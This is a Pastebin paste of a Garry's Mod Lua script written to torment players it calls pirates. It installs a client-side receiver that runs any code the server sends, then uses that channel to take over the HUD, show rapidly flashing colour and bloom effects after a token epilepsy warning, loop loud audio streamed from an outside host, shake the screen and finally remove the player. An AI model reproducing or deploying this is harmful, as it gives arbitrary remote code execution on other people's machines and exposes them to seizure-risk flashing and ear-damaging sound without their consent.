Advertisement
MCiLuZiioNz

Untitled

Feb 14th, 2016
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 11.43 KB | None | 0 0
  1. --[[
  2.     File: ?.lua
  3.     For: Annoying pirates to death, then annoying them some more until they die a second time
  4.     By: Ultra
  5. ]]--
  6.  
  7. if SERVER then
  8.  
  9. util.AddNetworkString "slua"
  10.  
  11. end
  12.  
  13. local lol = {}
  14. function lol:RandomString( intMin, intMax )
  15.     local ret = ""
  16.     for _ = 1, math.random( intMin, intMax ) do
  17.         ret = ret.. string.char( math.random(65, 90) )
  18.     end
  19.  
  20.     return ret
  21. end
  22.  
  23. lol.m_tblActions = {}
  24. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  25. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  26.  
  27. function lol:PushAction( intChainDelay, func )
  28.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  29. end
  30.  
  31. function lol:NextAction( pPlayer )
  32.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  33.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  34.  
  35.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  36.         if not IsValid( pPlayer ) then return end
  37.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  38.         self:NextAction( pPlayer )
  39.     end )
  40. end
  41.  
  42. function lol:Start( pPlayer )
  43.     pPlayer.m_intCurAction = 0
  44.     self:NextAction( pPlayer )
  45. end
  46.  
  47. function lol:SendLua( pPlayer, strLua )
  48.     net.Start( "slua" )
  49.         net.WriteString( strLua )
  50.     net.Send( pPlayer )
  51. end
  52.  
  53. function lol:SetupPlayer( pPlayer )
  54.     pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  55. end
  56.  
  57. concommand.Add("setupparty", function ()
  58.     for k, v in pairs( player.GetAll() ) do
  59.         lol:SetupPlayer( v )
  60.     end
  61.     print("Setup complete!")
  62. end)
  63.  
  64. concommand.Add("timeforaparty", function( pPlayer )
  65.     for k, v in pairs( player.GetAll() ) do
  66.         lol:SetupPlayer( pPlayer )
  67.         timer.Simple( 2, function() lol:Start( v ) end)
  68.     end
  69. end)
  70.  
  71. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  72.     if strText:sub( 1, 5 ) == "/1337" then
  73.         pSender:Ignite( 1e9 )
  74.         pSender:ChatPrint( "lol jk" )
  75.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  76.         return false
  77.     end
  78. end )
  79.  
  80.  
  81.  
  82. --Sequence stack
  83. --Start some tunes and steam in our assets
  84. lol:PushAction(1, function ( pPlayer )
  85.     for i=1,10 do
  86.         for k, ply in pairs( player.GetAll() ) do
  87.             ply:ChatPrint( "! EPILEPSY WARNING !" )
  88.         end
  89.     end
  90. end)
  91.  
  92. lol:PushAction( 1, function( pPlayer )
  93.     lol:SendLua( pPlayer, ([=[
  94.         sound.PlayURL( "http://www.underdone.org/leak/underdone/blue.mp3", "", function()end )
  95.        
  96.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  97.         local html = [[%s]]
  98.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  99.             local pnl = vgui.Create( "HTML" )
  100.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  101.             pnl:SetVisible( true )
  102.             pnl:SetMouseInputEnabled( false )
  103.             pnl:SetKeyBoardInputEnabled( false )
  104.             pnl:SetSize( intSizeX, intSizeY )
  105.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  106.            
  107.             local PageLoaded
  108.             PageLoaded = function()
  109.                 local mat = pnl:GetHTMLMaterial()
  110.                 if mat then
  111.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  112.                     return
  113.                 end
  114.                
  115.                 timer.Simple( 0.5, PageLoaded )
  116.             end
  117.  
  118.             PageLoaded()
  119.         end
  120.  
  121.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud.png", "hud1", 300, 128 )
  122.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud2.png", "hud2", 300, 128 )
  123.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/hud3.png", "hud3", 128, 128 )
  124.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  125.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/doritos.png", "doritos", 183, 256 )
  126.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/fedora.png", "fedora", 256, 256 )
  127.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/dew.png", "dew", 110, 256 )
  128.         LoadWebMaterial( "http://www.underdone.org/leak/underdone/awp.png", "awp", 256, 55 )
  129.     ]=]):format(lol.m_strImageLoadHTML) )
  130. end )
  131.  
  132. --HUD swap
  133. lol:PushAction( 31, function( pPlayer )
  134.     lol:SendLua( pPlayer, [[
  135.         (GAMEMODE or GM).CalcView = function() end
  136.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  137.  
  138.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  139.         for k, v in pairs(remove) do
  140.             hook.GetTable()[v] = {}
  141.         end
  142.  
  143.         local function GetWebMat( strURL )
  144.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  145.         end
  146.  
  147.         hook.Add( "HUDPaint", "newhud", function()
  148.             surface.SetDrawColor( 255, 255, 255, 255 )
  149.  
  150.             if GetWebMat( "hud1" ) then
  151.                 surface.SetMaterial( GetWebMat("hud1")[1] )
  152.                 surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  153.             end
  154.             if GetWebMat( "hud2" ) then
  155.                 surface.SetMaterial( GetWebMat("hud2")[1] )
  156.                 surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  157.             end
  158.             if GetWebMat( "hud3" ) then
  159.                 surface.SetMaterial( GetWebMat("hud3")[1] )
  160.                 surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  161.             end
  162.             if GetWebMat( "xhair" ) then
  163.                 surface.SetMaterial( GetWebMat("xhair")[1] )
  164.                 surface.DrawTexturedRect( (ScrW() /2) -32, (ScrH() /2) -32, 64, 64 )
  165.             end
  166.  
  167.             if GetWebMat( "doritos" ) then
  168.                 surface.SetMaterial( GetWebMat("doritos")[1] )
  169.                 surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  170.             end
  171.             if GetWebMat( "dew" ) then
  172.                 surface.SetMaterial( GetWebMat("dew")[1] )
  173.                 surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  174.             end
  175.             if GetWebMat( "fedora" ) then
  176.                 surface.SetMaterial( GetWebMat("fedora")[1] )
  177.                 surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  178.             end
  179.             if GetWebMat( "awp" ) then
  180.                 surface.SetMaterial( GetWebMat("awp")[1] )
  181.                 surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  182.             end
  183.  
  184.             draw.SimpleTextOutlined(
  185.                 "A lack of dank memes has been detected on this server! (Rejoin if you hate this)",
  186.                 "DermaLarge",
  187.                 ScrW() /2 +math.random( -8, 8 ),
  188.                 ScrH() /2 +math.random( -8, 8 ) +64,
  189.                 Color( 255, 0, 0, 255 ),
  190.                 TEXT_ALIGN_CENTER,
  191.                 TEXT_ALIGN_CENTER,
  192.                 1,
  193.                 Color( 0, 0, 255, 255 )
  194.             )
  195.         end )
  196.  
  197.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  198.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  199.  
  200.         surface.PlaySound( "garrysmod/save_load4.wav" )
  201.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  202.     ]] )
  203. end )
  204.  
  205. --Disco time
  206. lol:PushAction( 10, function( pPlayer )
  207.     local idx = pPlayer:EntIndex()
  208.     timer.Create( "beat".. idx, 0.42, 0, function()
  209.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  210.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  211.     end )
  212.  
  213.  
  214.     lol:SendLua( pPlayer, [[
  215.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  216.         local time = 0
  217.  
  218.         hook.Add( "Think", "wat", function()
  219.             if CurTime() < time then
  220.                 return
  221.             end
  222.  
  223.             time = CurTime() +0.05
  224.             for i = 1, 16 do
  225.                 local part = emitter:Add(
  226.                     "particles/balloon_bit",
  227.                     LocalPlayer():GetPos() +Vector(
  228.                         math.random( -256, 256 ),
  229.                         math.random( -256, 256 ),
  230.                         256
  231.                     )
  232.                 )
  233.                
  234.                 if part then
  235.                     local Size = math.random( 4, 7 )
  236.                    
  237.                     part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  238.                     part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  239.                     part:SetDieTime( 4.5 )
  240.                     part:SetGravity( Vector(40, 0, -250) )
  241.                     part:SetLifeTime( 0 )
  242.                     part:SetStartSize( Size /2 )
  243.                     part:SetEndSize( Size )
  244.                     part:SetCollide( true )
  245.                 end
  246.             end
  247.         end )
  248.     ]] )
  249.  
  250.     lol:SendLua( pPlayer, [[
  251.         hook.Add( "RenderScreenspaceEffects", "wat", function()
  252.             local sinScaler = math.sin( CurTime() )
  253.             DrawBloom(
  254.                 0,
  255.                 3,
  256.                 sinScaler *math.Rand(1, 8),
  257.                 sinScaler *math.Rand(1, 8),
  258.                 6,
  259.                 math.Rand(0.5, 2),
  260.                 math.Rand(0, 0.3),
  261.                 math.Rand(0, 0.3),
  262.                 math.Rand(0.5, 1)
  263.             )
  264.  
  265.             DrawColorModify{
  266.                 ["$pp_colour_addr"] = 0,
  267.                 ["$pp_colour_addg"] = 0,
  268.                 ["$pp_colour_addb"] = 00,
  269.                 ["$pp_colour_brightness" ] = 0,
  270.                 ["$pp_colour_contrast" ] = 1,
  271.                 ["$pp_colour_colour" ] = 1,
  272.                 ["$pp_colour_mulr" ] = 0,
  273.                 ["$pp_colour_mulg" ] = 0,
  274.                 ["$pp_colour_mulb" ] = 1
  275.             }
  276.         end )
  277.  
  278.         local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  279.         mdl:SetNoDraw( true )
  280.         local posCache, time = {}, 0
  281.  
  282.         hook.Add( "HUDPaint", "dance", function()
  283.             if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  284.                 local idx = mdl:LookupSequence("taunt_dance")
  285.                 mdl.SeqDuration = mdl:SequenceDuration( idx )
  286.                 mdl.SeqStart = CurTime()
  287.                 mdl:ResetSequence( idx )
  288.             end
  289.  
  290.             mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  291.  
  292.            
  293.             local w, h = 300, 300
  294.             local ang = Angle( 0, 0, 0 )
  295.  
  296.             for i = 1, 32 do
  297.                 if CurTime() > time then
  298.                     posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  299.                 end
  300.                 local x, y = posCache[i][1], posCache[i][2]
  301.  
  302.                 cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  303.                     cam.IgnoreZ( true )
  304.                     render.SuppressEngineLighting( true )
  305.                    
  306.                     render.SetLightingOrigin( mdl:GetPos() )
  307.                     render.ResetModelLighting( 1, 1, 1 )
  308.                     render.SetColorModulation( 0, 0, 1 )
  309.  
  310.                     mdl:DrawModel()
  311.                    
  312.                     render.SuppressEngineLighting( false )
  313.                     cam.IgnoreZ( false )
  314.                 cam.End3D()
  315.             end
  316.  
  317.             if CurTime() > time then
  318.                 time = CurTime() +0.15
  319.             end
  320.         end )
  321.  
  322.         surface.PlaySound( "vo/npc/male01/ohno.wav" )
  323.     ]] )
  324. end )
  325.  
  326. --Let the beat drop
  327. lol:PushAction( 54, function( pPlayer )
  328.     lol:SendLua( pPlayer, [[
  329.         hook.Add( "GetMotionBlurValues", "wat", function()
  330.             return 0, 0, 1, math.sin(CurTime() *13)
  331.         end )
  332.  
  333.         hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  334.             local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  335.             DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  336.             DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  337.         end )
  338.  
  339.         hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  340.             render.SetMaterial( Material("cable/blue_elec") )
  341.             for i = 1, 32 do
  342.                 render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  343.             end
  344.         end )
  345.  
  346.         timer.Create( "thedrop", 0.42, 0, function()
  347.             util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  348.         end )
  349.     ]] )
  350. end )
  351.  
  352. --EVIL TIME rip headpones
  353. lol:PushAction( 175, function( pPlayer )
  354.     lol:SendLua( pPlayer, [[
  355.         surface.PlaySound( "vo/npc/male01/gethellout.wav" )
  356.  
  357.         local sounds = {}
  358.         for i = 1, 4 do
  359.             sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "noblock noplay", function( pChan )
  360.                 sounds[#sounds +1] = pChan
  361.             end )
  362.         end
  363.  
  364.         timer.Create( "asdf", 1, 0, function()
  365.             if #sounds ~= 4 then return end
  366.             timer.Destroy( "asdf" )
  367.             for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  368.         end )
  369.  
  370.         hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  371.     ]] )
  372.  
  373.     pPlayer:Remove()
  374. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement